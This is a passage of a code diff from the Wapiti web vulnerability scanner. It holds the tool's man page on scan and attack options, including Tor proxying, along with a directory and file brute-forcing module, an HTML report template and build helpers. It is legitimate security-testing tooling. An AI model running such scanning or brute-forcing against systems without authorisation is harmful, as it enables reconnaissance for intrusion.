|
||||
<a href="#TARGET-SPECIFICATION">TARGET SPECIFICATION</a>
|
||||
<a href="#ATTACK-SPECIFICATION">ATTACK SPECIFICATION</a>
|
||||
<a href="#PROXY-AND-AUTHENTICATION-OPTIONS">PROXY AND AUTHENTICATION OPTIONS</a>
|
||||
<a href="#SESSION-OPTIONS">SESSION OPTIONS</a>
|
||||
<a href="#SCAN-AND-ATTACKS-TUNING">SCAN AND ATTACKS TUNING</a>
|
||||
<a href="#HTTP-AND-NETWORK-OPTIONS">HTTP AND NETWORK OPTIONS</a>
|
||||
<a href="#OUTPUT-OPTIONS">OUTPUT OPTIONS</a>
|
||||
<a href="#REPORT-OPTIONS">REPORT OPTIONS</a>
|
||||
<a href="#OTHER-OPTIONS">OTHER OPTIONS</a>
|
||||
<a href="#LICENSE">LICENSE</a>
|
||||
<a href="#COPYRIGHT">COPYRIGHT</a>
|
||||
<a href="#AUTHORS">AUTHORS</a>
|
||||
<a href="#WEBSITE">WEBSITE</a>
|
||||
<a href="#BUG-REPORTS">BUG REPORTS</a>
|
||||
<a href="#SEE-ALSO">SEE ALSO</a>
|
||||
</div>
|
||||
|
||||
<ol class='man-decor man-head man head'>
|
||||
<li class='tl'>wapiti(1)</li>
|
||||
<li class='tc'></li>
|
||||
<li class='tr'>wapiti(1)</li>
|
||||
</ol>
|
||||
|
||||
<h2 id="NAME">NAME</h2>
|
||||
<p class="man-name">
|
||||
<code>wapiti</code> - <span class="man-whatis">A web application vulnerability scanner in Python</span>
|
||||
</p>
|
||||
|
||||
<h2 id="SYNOPSIS">SYNOPSIS</h2>
|
||||
|
||||
<p><code>wapiti</code> -u <var>BASE_URL</var> [options]</p>
|
||||
|
||||
<h2 id="DESCRIPTION">DESCRIPTION</h2>
|
||||
|
||||
<p>Wapiti allows you to audit the security of your web applications.</p>
|
||||
|
||||
<p>It performs "black-box" scans, i.e. it does not study the source code of the application but will scans the webpages of the deployed webapp, looking for scripts and forms where it can inject data.</p>
|
||||
|
||||
<p>Once it gets this list, Wapiti acts like a fuzzer, injecting payloads to see if a script is vulnerable.</p>
|
||||
|
||||
<p>Wapiti is useful only to discover vulnerabilities : it is not an exploitation tools. Some well known applications can be used for the exploitation part like the recommanded sqlmap.</p>
|
||||
|
||||
<h2 id="OPTIONS-SUMMARY">OPTIONS SUMMARY</h2>
|
||||
|
||||
<p>Here is a summary of options. It is essentially what you will get when you launch Wapiti without any argument.
|
||||
More detail on each option can be found in the following sections.</p>
|
||||
|
||||
<p>TARGET SPECIFICATION:</p>
|
||||
|
||||
<ul>
|
||||
<li><code>-u</code> <var>URL</var></li>
|
||||
<li><code>--scope</code> {page,folder,domain,url}</li>
|
||||
</ul>
|
||||
|
||||
|
||||
<p>ATTACK SPECIFICATION:</p>
|
||||
|
||||
<ul>
|
||||
<li><code>-m</code> <var>MODULES_LIST</var></li>
|
||||
<li><code>--list-modules</code></li>
|
||||
<li><code>-l</code> <var>LEVEL</var></li>
|
||||
</ul>
|
||||
|
||||
|
||||
<p>PROXY AND AUTHENTICATION OPTIONS:</p>
|
||||
|
||||
<ul>
|
||||
<li><code>-p</code> <var>PROXY_URL</var></li>
|
||||
<li><code>-a</code> <var>CREDENTIALS</var></li>
|
||||
<li><code>--auth-type</code> {basic,digest,kerberos,ntlm}</li>
|
||||
<li><code>-c</code> <var>COOKIE_FILE</var></li>
|
||||
</ul>
|
||||
|
||||
|
||||
<p>SESSION OPTIONS:</p>
|
||||
|
||||
<ul>
|
||||
<li><code>--skip-crawl</code></li>
|
||||
<li><code>--resume-crawl</code></li>
|
||||
<li><code>--flush-attacks</code></li>
|
||||
<li><code>--flush-session</code></li>
|
||||
</ul>
|
||||
|
||||
|
||||
<p>SCAN AND ATTACKS TUNING:</p>
|
||||
|
||||
<ul>
|
||||
<li><code>-s</code> <var>URL</var></li>
|
||||
<li><code>-x</code> <var>URL</var></li>
|
||||
<li><code>-r</code> <var>PARAMETER</var></li>
|
||||
<li><code>--skip</code> <var>PARAMETER</var></li>
|
||||
<li><code>-d</code> <var>DEPTH</var></li>
|
||||
<li><code>--max-links-per-page</code> <var>MAX_LINKS_PER_PAGE</var></li>
|
||||
<li><code>--max-files-per-dir</code> <var>MAX_FILES_PER_DIR</var></li>
|
||||
<li><code>--max-scan-time</code> <var>MAX_SCAN_TIME</var></li>
|
||||
<li><code>--max-parameters</code> <var>MAX</var></li>
|
||||
<li><code>-S</code>, <code>--scan-force</code> {paranoid,sneaky,polite,normal,aggressive,insane}</li>
|
||||
</ul>
|
||||
|
||||
|
||||
<p>HTTP AND NETWORK OPTIONS:</p>
|
||||
|
||||
<ul>
|
||||
<li><code>-t</code> <var>SECONDS</var></li>
|
||||
<li><code>-H</code> <var>HEADER</var></li>
|
||||
<li><code>-A</code> <var>AGENT</var></li>
|
||||
<li> <code>--verify-ssl</code> {0,1}</li>
|
||||
</ul>
|
||||
|
||||
|
||||
<p>OUTPUT OPTIONS:</p>
|
||||
|
||||
<ul>
|
||||
<li><code>--color</code></li>
|
||||
<li><code>-v</code> <var>LEVEL</var></li>
|
||||
</ul>
|
||||
|
||||
|
||||
<p>REPORT OPTIONS:</p>
|
||||
|
||||
<ul>
|
||||
<li><code>-f</code> {json,html,txt,openvas,vulneranet,xml}</li>
|
||||
<li><code>-o</code> <var>OUPUT_PATH</var></li>
|
||||
</ul>
|
||||
|
||||
|
||||
<p>OTHER OPTIONS:</p>
|
||||
|
||||
<ul>
|
||||
<li><code>--no-bugreport</code></li>
|
||||
<li><code>--version</code></li>
|
||||
<li><code>-h</code></li>
|
||||
</ul>
|
||||
|
||||
|
||||
<h2 id="TARGET-SPECIFICATION">TARGET SPECIFICATION</h2>
|
||||
|
||||
<ul>
|
||||
<li><p><code>-u</code>, <code>--url</code> <var>URL</var><br />
|
||||
The URL that will be used as the base for the scan. Every URL found during the scan will be checked against the base URL and the corresponding scan scope (see --scope for details).<br />
|
||||
This is the only required argument. The scheme part of the URL must be either http or https.</p></li>
|
||||
<li><p><code>--scope</code> <var>SCOPE</var><br />
|
||||
Define the scope of the scan and attacks. Valid choices are :</p>
|
||||
|
||||
<ul>
|
||||
<li>url : will only scan and attack the exact base URL given with -u option</li>
|
||||
<li>page : will attack every URL matching the path of the base URL (every query string variation)</li>
|
||||
<li>folder : will scan and attack every URL starting with the base URL value. This base URL should have a trailing slash (no filename)</li>
|
||||
<li>domain : will scan and attack every URL whose domain name match the one from the base URL.</li>
|
||||
</ul>
|
||||
</li>
|
||||
</ul>
|
||||
|
||||
|
||||
<h2 id="ATTACK-SPECIFICATION">ATTACK SPECIFICATION</h2>
|
||||
|
||||
<ul>
|
||||
<li><p><code>-m</code>, <code>--module</code> <var>MODULE_LIST</var><br />
|
||||
Set the list of attack modules (modules names separated with commas) to launch against the target.<br />
|
||||
Default behavior (when the option is not set) is to use the most common modules.<br />
|
||||
Common modules can also be specified using the "common" keyword.<br />
|
||||
To launch a scan without launching any attack, just give an empty value (-m "").<br />
|
||||
You can filter on http methods too (only get or post). For example -m "xss:get,exec:post".</p></li>
|
||||
<li><p><code>--list-modules</code><br />
|
||||
Print the list of available Wapiti modules and exit.</p></li>
|
||||
<li><p><code>-l</code>, <code>--level</code> <var>LEVEL</var><br />
|
||||
In previous versions Wapiti used to inject attack payloads in query strings even if no parameter was present in the original URL.<br />
|
||||
While it may be successful in finding vulnerabilities that way, it was causing too many requests for not enough success.<br />
|
||||
This behavior is now hidden behind this option and can be reactivated by setting -l to 2.<br />
|
||||
It may be useful on CGIs when developers have to parse the query-string themselves.<br />
|
||||
Default value for this option is 1.</p></li>
|
||||
</ul>
|
||||
|
||||
|
||||
<h2 id="PROXY-AND-AUTHENTICATION-OPTIONS">PROXY AND AUTHENTICATION OPTIONS</h2>
|
||||
|
||||
<ul>
|
||||
<li><p><code>-p</code>, <code>--proxy</code> <var>PROXY_URL</var><br />
|
||||
The given URL will be used as a proxy for HTTP and HTTPS requests. This URL can have one of the following scheme : http, https, socks.<br />
|
||||
To make Wapiti use a Tor listener you can use --proxy socks://127.0.0.1:9050/</p></li>
|
||||
<li><p><code>-a</code>, <code>--auth-cred</code> <var>CREDENTIALS</var><br />
|
||||
Set credentials to use for HTTP authentication on the target.<br />
|
||||
Given value should be in the form login%password (% is used as a separator)</p></li>
|
||||
<li><p><code>--auth-type</code> <var>TYPE</var><br />
|
||||
Set the authentication mechanism to use. Valid choices are basic, digest, kerberos and ntlm.<br />
|
||||
Kerberos and NTLM authentication may require you to install additionnal Python modules.</p></li>
|
||||
<li><p><code>-c</code>, <code>--cookie</code> <var>COOKIE_FILE</var><br />
|
||||
Load cookies from a Wapiti JSON cookie file. See <span class="man-ref">wapiti-getcookie<span class="s">(1)</span></span> for more informations.</p></li>
|
||||
</ul>
|
||||
|
||||
|
||||
<h2 id="SESSION-OPTIONS">SESSION OPTIONS</h2>
|
||||
|
||||
<p>Since Wapiti 3.0.0, scanned URLs, discovered vulnerabilities and attacks status are stored in sqlite3 databases used as Wapiti session files.<br />
|
||||
Default behavior when a previous scan session exists for the given base URL and scope is to resume the scan and attack status.<br />
|
||||
Following options allows you to bypass this behavior/</p>
|
||||
|
||||
<ul>
|
||||
<li><p><code>--skip-crawl</code><br />
|
||||
If a previous scan was performed but wasn't finished, don't resume the scan.
|
||||
Attack will be made on currently known URLs without scanning more.</p></li>
|
||||
<li><p><code>--resume-crawl</code><br />
|
||||
If the crawl was previously stopped and attacks started, default behavior is to skip crawling if the session is restored.<br />
|
||||
Use this option in order to continue the scan process while keeping vulnerabilities and attacks in the session.</p></li>
|
||||
<li><p><code>--flush-attacks</code><br />
|
||||
Forget everything about discovered vulnerabilities and which URL was attacked by which module.<br />
|
||||
Only the scan (crawling) informations will be kept.</p></li>
|
||||
<li><p><code>--flush-session</code><br />
|
||||
Forget everything about the target for the given scope.</p></li>
|
||||
</ul>
|
||||
|
||||
|
||||
<h2 id="SCAN-AND-ATTACKS-TUNING">SCAN AND ATTACKS TUNING</h2>
|
||||
|
||||
<ul>
|
||||
<li><p><code>-s</code>, <code>--start</code> <var>URL</var><br />
|
||||
If for some reasons, Wapiti doesn't find any (or enough) URLs from the base URL you can still add URLs to start the scan with.<br />
|
||||
Those URLs will be given a depth of 0, just like the base URL.<br />
|
||||
This option can be called several times.<br />
|
||||
You can also give it a filename and Wapiti will read URLs from the given file (must be UTF-8 encoded), one URL per line.</p></li>
|
||||
<li><p><code>-x</code>, <code>--exclude</code> <var>URL</var><br />
|
||||
Prevent the given URL from being scanned. Common use is to exclude the logout URL to prevent the destruction of session cookies (if you specified a cookie file with --cookie).<br />
|
||||
This option can be applied several times. Excluded URL given as a parameter can contain wildcards for basic pattern matching.</p></li>
|
||||
<li><p><code>-r</code>, <code>--remove</code> <var>PARAMETER</var><br />
|
||||
If the given parameter is found in scanned URL it will be automatically removed (URLs are edited).<br />
|
||||
This option can be used several times.</p></li>
|
||||
<li><p><code>--skip</code> <var>PARAMETER</var><br />
|
||||
Given parameter will be kept in URLs and forms but won't be attacked.<br />
|
||||
Useful if you already know non-vulnerable parameters.</p></li>
|
||||
<li><p><code>-d</code>, <code>--depth</code> <var>DEPTH</var><br />
|
||||
When Wapiti crawls a website it gives each found URL a depth value.<br />
|
||||
The base URL, and additionnal starting URLs (-s) are given a depth of 0.<br />
|
||||
Each link found in thoses URLs got a depth of 1, and so on.<br />
|
||||
Default maximum depth is 40 and is very large.<br />
|
||||
This limit make sure the scan will stop at some time.<br />
|
||||
For a fast scan a depth inferior to 5 is recommanded.</p></li>
|
||||
<li><p><code>--max-links-per-page</code> <var>MAX</var><br />
|
||||
This is another option to be able to reduce the number of URLs discovered by the crawler.<br />
|
||||
Only the first MAX links of each webpage will be extracted.<br />
|
||||
This option is not really effective as the same link may appear on different webpages.<br />
|
||||
It should be useful is rare conditions, for exeample when there is a lot a webpages without query string.</p></li>
|
||||
<li><p><code>--max-files-per-dir</code> <var>MAX</var><br />
|
||||
Limit the number of URLs to crawl under each folder found on the webserver.<br />
|
||||
Note that an URL with a trailing slash in the path is not necessarily a folder with Wapiti will treat it as its is.<br />
|
||||
Like the previous option it should be useful only in certain situations.</p></li>
|
||||
<li><p><code>--max-scan-time</code> <var>MINUTES</var><br />
|
||||
Stop the scan after MINUTES minutes if it is still running.<br />
|
||||
Should be useful to automatise scanning from another process (continuous testing).</p></li>
|
||||
<li><p><code>--max-parameters</code> <var>MAX</var><br />
|
||||
URLs and forms having more than MAX input parameters will be discarded before launching attack modules.</p></li>
|
||||
<li><p><code>-S</code>, <code>--scan-force</code> <var>FORCE</var><br />
|
||||
The more input parameters an URL or form have, the more requests Wapiti will send.<br />
|
||||
The sum of requests can grow rapidly and attacking a form with 40 or more input fields can take a huge ammount of time.<br />
|
||||
Wapiti use a mathematical formula to reduce the numbers of URLs scanned for a given pattern (same variables names) when
|
||||
the number of parameters grows.<br />
|
||||
The formula is <code>maximum_allowed_patterns = 220 / (math.exp(number_of_parameters * factor) ** 2)</code>
|
||||
where factor is an internal value controller by the <var>FORCE</var> value you give as an option.<br />
|
||||
Availables choices are : paranoid, sneaky, polite, normal, aggressive, insane.<br />
|
||||
Default value is normal (147 URLs for 1 parameter, 30 for 5, 5 for 10, 1 for 14 or more).<br />
|
||||
Insane mode just remove the calculation of thoses limits, every URL will be attacked.<br />
|
||||
Paranoid mode will attack 30 URLs with 1 parameter, 5 for 2, and just 1 for 3 and more).</p></li>
|
||||
</ul>
|
||||
|
||||
|
||||
<h2 id="HTTP-AND-NETWORK-OPTIONS">HTTP AND NETWORK OPTIONS</h2>
|
||||
|
||||
<ul>
|
||||
<li><p><code>-t</code>, <code>--timemout</code> <var>SECONDS</var><br />
|
||||
Time to wait (in seconds) for a HTTP response before considering failure.</p></li>
|
||||
<li><p><code>-H</code>, <code>--header</code> <var>HEADER</var><br />
|
||||
Set a custom HTTM header to inject in every request sent by Wapiti.
|
||||
This option can be used several times.<br />
|
||||
Value should be a standard HTTP header line (parameter and value separated with a : sign).</p></li>
|
||||
<li><p><code>-A</code>, <code>--user-agent</code> <var>AGENT</var><br />
|
||||
Default behavior of Wapiti is to use the same User-Agent as the TorBrowser, making it discreet when crawling standard website or .onion ones.<br />
|
||||
But you may have to change it to bypass some restrictions so this option is here.</p></li>
|
||||
<li><p><code>--verify-ssl</code> <var>VALUE</var><br />
|
||||
Wapiti doesn't care of certificates validation by default. That behavior can be changed by passing 1 as a value to that option.</p></li>
|
||||
</ul>
|
||||
|
||||
|
||||
<h2 id="OUTPUT-OPTIONS">OUTPUT OPTIONS</h2>
|
||||
|
||||
<p>Wapiti prints its status to standard output. The two following options allow to tune the output.</p>
|
||||
|
||||
<ul>
|
||||
<li><p><code>--color</code><br />
|
||||
Outpout will be colorized based on the severity of the information (red is critical, orange for warnings, green for information).</p></li>
|
||||
<li><p><code>-v</code>, <code>--verbose</code> <var>LEVEL</var><br />
|
||||
Set the level of verbosity for the output.
|
||||
Possible values are quiet (O), normal (1, default behavior) and verbose (2).</p></li>
|
||||
</ul>
|
||||
|
||||
|
||||
<h2 id="REPORT-OPTIONS">REPORT OPTIONS</h2>
|
||||
|
||||
<p>Wapiti will generate a report at the end of the attack process. Several formats of reports are available.</p>
|
||||
|
||||
<ul>
|
||||
<li><p><code>-f</code>, <code>--format</code> <var>FORMAT</var><br />
|
||||
Set the format of the report. Valid choices are json, html, txt, openvas, vulneranet and xml.<br />
|
||||
Although the HTML reports were rewritten to be more responsive, they still are impraticable when there is a lot of found vulnerabilities.</p></li>
|
||||
<li><p><code>-o</code>, <code>--output</code> <var>OUTPUT_PATH</var><br />
|
||||
Set the path were the report will be generated.</p></li>
|
||||
</ul>
|
||||
|
||||
|
||||
<h2 id="OTHER-OPTIONS">OTHER OPTIONS</h2>
|
||||
|
||||
<ul>
|
||||
<li><p><code>--version</code><br />
|
||||
Print Wapiti version then exit.</p></li>
|
||||
<li><p><code>--no-bugreport</code><br />
|
||||
If a Wapiti attack module crashes of a non-caught exception a bug report is generated and sent for analysis in order to improve Wapiti reliability. Note that only the content of the report is kept.<br />
|
||||
You can still prevent reports from being sent using that option.</p></li>
|
||||
<li><p><code>-h</code>, <code>--help</code><br />
|
||||
Show detailed options description. More details are available in this manpage though.</p></li>
|
||||
</ul>
|
||||
|
||||
|
||||
<h2 id="LICENSE">LICENSE</h2>
|
||||
|
||||
<p>Wapiti is covered by the GNU General Public License (GPL), version 2.
|
||||
Please read the COPYING file for more information.</p>
|
||||
|
||||
<h2 id="COPYRIGHT">COPYRIGHT</h2>
|
||||
|
||||
<p>Copyright (c) 2006-2018 Nicolas Surribas.</p>
|
||||
|
||||
<h2 id="AUTHORS">AUTHORS</h2>
|
||||
|
||||
<p>Nicolas Surribas is the main author, but the whole list of contributors is found in the separate AUTHORS file.</p>
|
||||
|
||||
<h2 id="WEBSITE">WEBSITE</h2>
|
||||
|
||||
<p>http://wapiti.sourceforge.net/</p>
|
||||
|
||||
<h2 id="BUG-REPORTS">BUG REPORTS</h2>
|
||||
|
||||
<p>If you find a bug in Wapiti please report it to https://sourceforge.net/p/wapiti/bugs/</p>
|
||||
|
||||
<h2 id="SEE-ALSO">SEE ALSO</h2>
|
||||
|
||||
<p>The INSTALL.md file that comes with Wapiti contains every information required to install Wapiti.</p>
|
||||
|
||||
|
||||
<ol class='man-decor man-foot man foot'>
|
||||
<li class='tl'></li>
|
||||
<li class='tc'>January 2018</li>
|
||||
<li class='tr'>wapiti(1)</li>
|
||||
</ol>
|
||||
|
||||
</div>
|
||||
</body>
|
||||
</html>
|
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
|
@ -0,0 +1,6 @@
|
|||
#!/bin/sh
|
||||
xgettext --copyright-holder="2009-2018 Nicolas SURRIBAS" --package-name="Wapiti" --package-version="SVN" --from-code=UTF-8 -L Python --no-wrap -d wapiti -o de.po -f file_list.txt -j
|
||||
xgettext --copyright-holder="2009-2018 Nicolas SURRIBAS" --package-name="Wapiti" --package-version="SVN" --from-code=UTF-8 -L Python --no-wrap -d wapiti -o en.po -f file_list.txt -j
|
||||
xgettext --copyright-holder="2009-2018 Nicolas SURRIBAS" --package-name="Wapiti" --package-version="SVN" --from-code=UTF-8 -L Python --no-wrap -d wapiti -o es.po -f file_list.txt -j
|
||||
xgettext --copyright-holder="2009-2018 Nicolas SURRIBAS" --package-name="Wapiti" --package-version="SVN" --from-code=UTF-8 -L Python --no-wrap -d wapiti -o fr.po -f file_list.txt -j
|
||||
xgettext --copyright-holder="2009-2018 Nicolas SURRIBAS" --package-name="Wapiti" --package-version="SVN" --from-code=UTF-8 -L Python --no-wrap -d wapiti -o ms.po -f file_list.txt -j
|
|
@ -0,0 +1,20 @@
|
|||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
#
|
||||
# This file is part of the Wapiti project (http://wapiti.sourceforge.net)
|
||||
# Copyright (C) 2017-2018 Nicolas Surribas
|
||||
#
|
||||
# This program is free software; you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation; either version 2 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program; if not, write to the Free Software
|
||||
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
parser_name = "html5lib"
|
|
@ -0,0 +1,109 @@
|
|||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
#
|
||||
# This file is part of the Wapiti project (http://wapiti.sourceforge.net)
|
||||
# Copyright (C) 2014-2018 Nicolas Surribas
|
||||
#
|
||||
# This program is free software; you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation; either version 2 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program; if not, write to the Free Software
|
||||
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
from requests.exceptions import Timeout, ConnectionError
|
||||
|
||||
from wapitiCore.attack.attack import Attack
|
||||
from wapitiCore.net import web
|
||||
|
||||
|
||||
class mod_buster(Attack):
|
||||
"""
|
||||
This class implements a file and directory buster"
|
||||
"""
|
||||
|
||||
PAYLOADS_FILE = "busterPayloads.txt"
|
||||
|
||||
name = "buster"
|
||||
|
||||
do_get = False
|
||||
do_post = False
|
||||
|
||||
def __init__(self, crawler, persister, logger, attack_options):
|
||||
Attack.__init__(self, crawler, persister, logger, attack_options)
|
||||
self.known_dirs = []
|
||||
self.known_pages = []
|
||||
self.new_resources = []
|
||||
|
||||
def test_directory(self, path: str):
|
||||
if self.verbose == 2:
|
||||
print("[¨] Testing directory {0}".format(path))
|
||||
|
||||
test_page = web.Request(path + "does_n0t_exist.htm")
|
||||
try:
|
||||
response = self.crawler.send(test_page)
|
||||
if response.status not in [403, 404]:
|
||||
# we don't want to deal with this at the moment
|
||||
return
|
||||
|
||||
for candidate, flags in self.payloads:
|
||||
url = path + candidate
|
||||
if url not in self.known_dirs and url not in self.known_pages and url not in self.new_resources:
|
||||
page = web.Request(path + candidate)
|
||||
try:
|
||||
response = self.crawler.send(page)
|
||||
if response.redirection_url:
|
||||
loc = response.redirection_url
|
||||
# if loc in self.known_dirs or loc in self.known_pages:
|
||||
# continue
|
||||
if response.is_directory_redirection:
|
||||
self.log_red("Found webpage {0}", loc)
|
||||
self.new_resources.append(loc)
|
||||
else:
|
||||
self.log_red("Found webpage {0}", page.path)
|
||||
self.new_resources.append(page.path)
|
||||
elif response.status not in [403, 404]:
|
||||
self.log_red("Found webpage {0}", page.path)
|
||||
self.new_resources.append(page.path)
|
||||
except Timeout:
|
||||
continue
|
||||
except ConnectionError:
|
||||
continue
|
||||
|
||||
except Timeout:
|
||||
pass
|
||||
|
||||
def attack(self):
|
||||
urls = self.persister.get_links(attack_module=self.name) if self.do_get else []
|
||||
|
||||
# First we make a list of uniq webdirs and webpages without parameters
|
||||
for resource in urls:
|
||||
path = resource.path
|
||||
if path.endswith("/"):
|
||||
if path not in self.known_dirs:
|
||||
self.known_dirs.append(path)
|
||||
else:
|
||||
if path not in self.known_pages:
|
||||
self.known_pages.append(path)
|
||||
|
||||
# Then for each known webdirs we look for unknown webpages inside
|
||||
for current_dir in self.known_dirs:
|
||||
self.test_directory(current_dir)
|
||||
yield
|
||||
|
||||
# Finally, for each discovered webdirs we look for more webpages
|
||||
while self.new_resources:
|
||||
current_res = self.new_resources.pop(0)
|
||||
if current_res.endswith("/"):
|
||||
# Mark as known then explore
|
||||
self.known_dirs.append(current_res)
|
||||
self.test_directory(current_res)
|
||||
yield
|
||||
else:
|
||||
self.known_pages.append(current_res)
|
Binary file not shown.
After Width: | Height: | Size: 44 KiB |
|
@ -0,0 +1,139 @@
|
|||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<title>Wapiti scan report</title>
|
||||
<meta charset="utf-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1">
|
||||
<link rel="stylesheet" type="text/css" href="css/kube.min.css" />
|
||||
<link rel="stylesheet" type="text/css" href="css/master.css" />
|
||||
</head>
|
||||
<body>
|
||||
<div id="page">
|
||||
<header style="text-align: center">
|
||||
<h2 class="title" style="text-align: center">Wapiti vulnerability report</h2>
|
||||
<h3>Target: ${target}</h3>
|
||||
<p>Date of the scan: ${scan_date}. Scope of the scan: ${scan_scope}</p>
|
||||
</header>
|
||||
<hr />
|
||||
<h4>Summary</h4>
|
||||
<table class="width-100 hovered" style="background: url('logo_clear.png') no-repeat center;">
|
||||
<thead>
|
||||
<tr>
|
||||
<th>Category</th>
|
||||
<th>Number of vulnerabilities found</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody id="summary">
|
||||
% for i, vuln_name in enumerate(vulnerabilities):
|
||||
<tr>
|
||||
<td class="small">
|
||||
% if len(vulnerabilities[vuln_name]):
|
||||
<a href="#vuln_type_${i}">${vuln_name}</a>
|
||||
% else:
|
||||
${vuln_name}
|
||||
% endif
|
||||
</td>
|
||||
<td class="small .text-centered">${len(vulnerabilities[vuln_name])}</td>
|
||||
</tr>
|
||||
% endfor
|
||||
% for i, anomaly_name in enumerate(anomalies):
|
||||
<tr>
|
||||
<td class="small">
|
||||
% if len(anomalies[anomaly_name]):
|
||||
<a href="#anom_type_${i}">${anomaly_name}</a>
|
||||
% else:
|
||||
${anomaly_name}
|
||||
% endif
|
||||
</td>
|
||||
<td class="small .text-centered">${len(anomalies[anomaly_name])}</td>
|
||||
</tr>
|
||||
% endfor
|
||||
</tbody>
|
||||
</table>
|
||||
<hr />
|
||||
<div id="details">
|
||||
% for i, vuln_name in enumerate(vulnerabilities):
|
||||
% if len(vulnerabilities[vuln_name]):
|
||||
<h3 id="vuln_type_${i}">${vuln_name}</h3>
|
||||
<dl>
|
||||
<dt>Description</dt>
|
||||
<dd>${flaws[vuln_name]["desc"] | h}</dd>
|
||||
</dl>
|
||||
|
||||
% for j, vulnerability in enumerate(vulnerabilities[vuln_name]):
|
||||
<h4>Vulnerability found in ${vulnerability["path"] | h}</h4>
|
||||
<nav class="tabs" data-component="tabs" data-equals="true" data-height="equal">
|
||||
<ul>
|
||||
<li class="active"><a href="#tab-vuln-${i}-${j}-1">Description</a></li>
|
||||
<li><a href="#tab-vuln-${i}-${j}-2">HTTP Request</a></li>
|
||||
<li><a href="#tab-vuln-${i}-${j}-3">cURL command line</a></li>
|
||||
</ul>
|
||||
</nav>
|
||||
<div id="tab-vuln-${i}-${j}-1" style="min-height: 124px;">
|
||||
<pre>${vulnerability["info"] | h}</pre>
|
||||
</div>
|
||||
<div id="tab-vuln-${i}-${j}-2" style="min-height: 124px;">
|
||||
<pre>${vulnerability["http_request"] | h}</pre>
|
||||
</div>
|
||||
<div id="tab-vuln-${i}-${j}-3" style="min-height: 124px;">
|
||||
<pre>${vulnerability["curl_command"] | h}</pre>
|
||||
</div>
|
||||
% endfor
|
||||
|
||||
<dl><dt>Solutions</dt><dd>${flaws[vuln_name]["sol"]}</dd></dl>
|
||||
<h5>References</h5>
|
||||
<ul>
|
||||
% for ref_name, ref_url in flaws[vuln_name]["ref"].items():
|
||||
<li><a href="${ref_url}">${ref_name | h}</a></li>
|
||||
% endfor
|
||||
</ul>
|
||||
<br />
|
||||
<hr>
|
||||
% endif
|
||||
% endfor
|
||||
% for i, anomaly_name in enumerate(anomalies):
|
||||
% if len(anomalies[anomaly_name]):
|
||||
<h3 id="anom_type_${i}">${anomaly_name}</h3>
|
||||
<dl>
|
||||
<dt>Description</dt>
|
||||
<dd>${flaws[anomaly_name]["desc"] | h}</dd>
|
||||
</dl>
|
||||
|
||||
% for j, anomaly in enumerate(anomalies[anomaly_name]):
|
||||
<h4>Anomaly found in ${anomaly["path"] | h}</h4>
|
||||
<nav class="tabs" data-component="tabs" data-equals="true">
|
||||
<ul>
|
||||
<li class="active"><a href="#tab-anom-${i}-${j}-1">Description</a></li>
|
||||
<li><a href="#tab-anom-${i}-${j}-2">HTTP Request</a></li>
|
||||
<li><a href="#tab-anom-${i}-${j}-3">cURL command line</a></li>
|
||||
</ul>
|
||||
</nav>
|
||||
<div id="tab-anom-${i}-${j}-1" style="min-height: 124px;">
|
||||
<pre>${anomaly["info"] | h}</pre>
|
||||
</div>
|
||||
<div id="tab-anom-${i}-${j}-2" style="min-height: 124px;">
|
||||
<pre>${anomaly["http_request"] | h}</pre>
|
||||
</div>
|
||||
<div id="tab-anom-${i}-${j}-3" style="min-height: 124px;">
|
||||
<pre>${anomaly["curl_command"] | h}</pre>
|
||||
</div>
|
||||
% endfor
|
||||
|
||||
<dl><dt>Solutions</dt><dd>${flaws[anomaly_name]["sol"]}</dd></dl>
|
||||
<h5>References</h5>
|
||||
<ul>
|
||||
% for ref_name, ref_url in flaws[anomaly_name]["ref"].items():
|
||||
<li><a href="${ref_url}">${ref_name | h}</a></li>
|
||||
% endfor
|
||||
</ul>
|
||||
<br />
|
||||
<hr>
|
||||
% endif
|
||||
% endfor
|
||||
</div>
|
||||
<footer class="small" id="footer"><a href="http://wapiti.sf.net/" id="wapiti_link">${wapiti_version}</a> © Nicolas SURRIBAS 2006-2018</footer>
|
||||
</div>
|
||||
<script type="text/javascript" src="js/jquery-2.1.4.min.js"></script>
|
||||
<script type="text/javascript" src="js/kube.min.js"></script>
|
||||
</body>
|
||||
</html>
|
|
@ -0,0 +1,291 @@
|
|||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
# This file is part of the Wapiti project (http://wapiti.sourceforge.net)
|
||||
# Copyright (C) 2008-2018 Nicolas Surribas
|
||||
#
|
||||
# This program is free software; you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation; either version 2 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program; if not, write to the Free Software
|
||||
